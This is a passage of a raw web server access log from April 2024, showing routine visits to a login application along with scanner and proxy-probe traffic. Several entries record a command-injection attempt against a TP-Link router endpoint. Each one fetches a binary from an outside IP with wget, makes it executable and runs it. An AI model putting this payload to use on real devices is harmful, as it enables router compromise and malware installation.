HTTP/1.1" 200 1553 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 151.242.144.77 - - [27/Apr/2024:18:34:26 -0300] "GET / HTTP/1.1" 200 11217 181.72.12.10 - - [27/Apr/2024:20:20:07 -0300] "½¹Ñ Ø]®]gHD*q㫄’ô™WÇÏÉÕ;‘Ùs •+5³û@ĉ" 400 - 181.72.12.10 - - [27/Apr/2024:20:20:07 -0300] "ÝÙÃۇe.j¡×éÒ™ó»ø½±Žyø©ß-šóFÝ ]kj-©Ä×zïQ‡ÑkÀE ÄŒôþ=B+‰Gxh ÊĘ̩̂À+À/À,À0ÀÀœ/5p**#" 505 - 181.72.12.10 - - [27/Apr/2024:20:20:07 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1725 181.72.12.10 - - [27/Apr/2024:20:20:08 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 181.72.12.10 - - [27/Apr/2024:20:20:08 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 181.72.12.10 - - [27/Apr/2024:20:20:09 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1735 181.72.12.10 - - [27/Apr/2024:20:20:10 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 80.75.212.75 - - [27/Apr/2024:20:39:20 -0300] "CONNECT www.google.com:443 HTTP/1.1" 400 - 162.142.125.112 - - [27/Apr/2024:21:17:28 -0300] "GET / HTTP/1.1" 200 11217 162.142.125.112 - - [27/Apr/2024:21:17:31 -0300] "GET / HTTP/1.1" 200 11217 162.142.125.112 - - [27/Apr/2024:21:17:32 -0300] "PRI * HTTP/2.0" 505 - 162.142.125.112 - - [27/Apr/2024:21:17:33 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 94.156.66.82 - - [27/Apr/2024:21:25:15 -0300] "CONNECT 185.65.245.140:7227 HTTP/1.1" 400 - 47.245.81.199 - - [27/Apr/2024:21:32:52 -0300] "GET / HTTP/1.1" 200 11217 47.245.81.199 - - [27/Apr/2024:21:32:53 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 45.142.182.92 - - [27/Apr/2024:21:54:25 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 45.142.182.70 - - [27/Apr/2024:22:41:51 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.163.214.97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1" 404 1013 45.142.182.92 - - [27/Apr/2024:22:45:00 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 45.142.182.92 - - [27/Apr/2024:22:58:47 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 198.235.24.38 - - [27/Apr/2024:23:09:46 -0300] "îêãÞ@ëĖÇ·lˆFQd¬8O_qŒ\$ƒ†¿§=$ö bôG7P³s¡þ!GtåuÅßUþöœ½Ä(S‰ÔÔuüÒ}&À+À/À,À0̨̩À ÀÀ" 400 - 198.235.24.38 - - [27/Apr/2024:23:09:47 -0300] "ÊÆžÁȹÉy‹Ù¬­£= |ßLÉ| ìlžRÌ9hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 400 - 178.62.75.43 - - [27/Apr/2024:23:16:01 -0300] "-" 400 - 80.75.212.75 - - [27/Apr/2024:23:19:15 -0300] "CONNECT www.google.com:443 HTTP/1.1" 400 - 162.142.125.216 - - [27/Apr/2024:23:41:29 -0300] "GET / HTTP/1.1" 200 11217 162.142.125.216 - - [27/Apr/2024:23:41:30 -0300] "PRI * HTTP/2.0" 505 - 162.142.125.216 - - [27/Apr/2024:23:41:30 -0300] "GET /favicon.ico HTTP/1.1" 200 21630